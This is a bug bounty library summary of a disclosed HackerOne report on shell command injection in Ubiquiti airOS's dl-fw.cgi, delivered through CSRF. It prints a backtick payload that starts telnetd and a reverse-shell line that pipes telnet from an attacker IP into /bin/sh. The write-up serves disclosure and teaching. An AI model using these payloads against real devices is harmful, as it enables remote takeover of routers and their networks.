# Shell Injection via Web Management Console (dl-fw.cgi)

Ubiquiti airOS dl-fw.cgi passes unsanitized fw_url into exec(), letting an attacker run shell commands like `telnetd` via CSRF to gain device access.

- Payout: hidden
- Severity: high
- Program: Ubiquiti Inc.
- Found by: mornaner
- Disclosed: 2016-10-15
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/121940
- Library page: https://bugbountylibrary.com/r/h1%3A121940
- Tags: area:devices domain:iot impact:rce kind:bounty platform:hackerone sev:high technique:chained technique:source-review vuln:command-injection vuln:csrf

**Target:** Web management console CGI script /usr/www/dl-fw.cgi
**Root cause:** The fw_url POST parameter is concatenated directly into a shell command string passed to exec() without escaping shell metacharacters.
**Steps:**
1. Locate /usr/www/dl-fw.cgi in the device webroot, callable directly via POST.
2. Send POST with action=download and fw_url containing backtick-wrapped command, e.g. `http://www.nccgroup.trust/testtest123/`telnetd``.
3. Script builds `$cmd_wget -O $firmware_file --header='Referer: $eula_url ' $fw_url > $progress_file 2>&1` and exec()s it, running the injected command.
4. Deliver via CSRF auto-submitting form to https://192.168.1.1/dl-fw.cgi to start telnetd, or inject `telnet <attacker ip> <port1> | /bin/sh | telnet <attacker ip> port2` for a reverse shell.
**How found:** Source review of the CGI script revealed line 62-63 concatenating fw_url into a shell command passed to exec() with no sanitization.
**Exploitation:** Attacker hosts a page with an auto-submitting form POSTing to the device's dl-fw.cgi with a backtick-injected fw_url; when an authenticated admin visits, the device executes the command, starting telnetd or a reverse shell for full device control.
**Escalation:** Chained with CSRF to bypass the need for direct authentication to the management console.
**Insight:** Firmware/EULA download CGI helpers that shell out to wget with user-supplied URLs are prime command-injection targets; check every exec/system call for unescaped URL params, and note these endpoints are often reachable via CSRF from the admin's browser.

